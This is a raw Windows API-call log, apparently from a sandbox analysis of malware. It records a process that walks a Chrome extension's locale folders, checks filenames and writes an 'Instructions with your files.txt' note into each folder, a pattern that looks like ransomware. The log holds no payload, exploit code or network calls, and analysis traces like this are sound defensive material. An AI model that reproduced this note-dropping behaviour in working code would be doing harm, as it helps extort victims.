[0128.846] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.846] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.847] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.847] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.847] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.847] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.847] CloseHandle (hObject=0x134) returned 1
[0128.847] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.848] GetProcessHeap () returned 0x810000
[0128.848] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.848] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0128.848] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 145
[0128.848] GetProcessHeap () returned 0x810000
[0128.848] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.848] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*") returned 147
[0128.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.848] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\.") returned 147
[0128.848] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.848] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\..") returned 148
[0128.848] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.848] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 159
[0128.848] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.848] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.848] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\Instructions with your files.txt") returned 178
[0128.848] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.849] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.849] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.850] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.850] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.850] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.850] CloseHandle (hObject=0x134) returned 1
[0128.850] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.850] GetProcessHeap () returned 0x810000
[0128.850] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.850] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0128.850] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 141
[0128.850] GetProcessHeap () returned 0x810000
[0128.850] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.850] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*") returned 143
[0128.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.854] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\.") returned 143
[0128.854] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.854] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\..") returned 144
[0128.854] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.854] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 155
[0128.854] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.854] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.854] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\Instructions with your files.txt") returned 174
[0128.854] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.854] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.855] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.855] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.856] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.856] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.856] CloseHandle (hObject=0x134) returned 1
[0128.856] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.856] GetProcessHeap () returned 0x810000
[0128.856] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.856] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0128.856] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 141
[0128.856] GetProcessHeap () returned 0x810000
[0128.856] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.856] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*") returned 143
[0128.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.856] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\.") returned 143
[0128.856] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.857] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\..") returned 144
[0128.857] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.857] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 155
[0128.857] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.857] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.857] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\Instructions with your files.txt") returned 174
[0128.857] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.857] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.858] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.858] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.858] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.858] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.858] CloseHandle (hObject=0x134) returned 1
[0128.858] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.858] GetProcessHeap () returned 0x810000
[0128.858] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.858] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0128.858] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 142
[0128.859] GetProcessHeap () returned 0x810000
[0128.859] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.859] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*") returned 144
[0128.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.859] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\.") returned 144
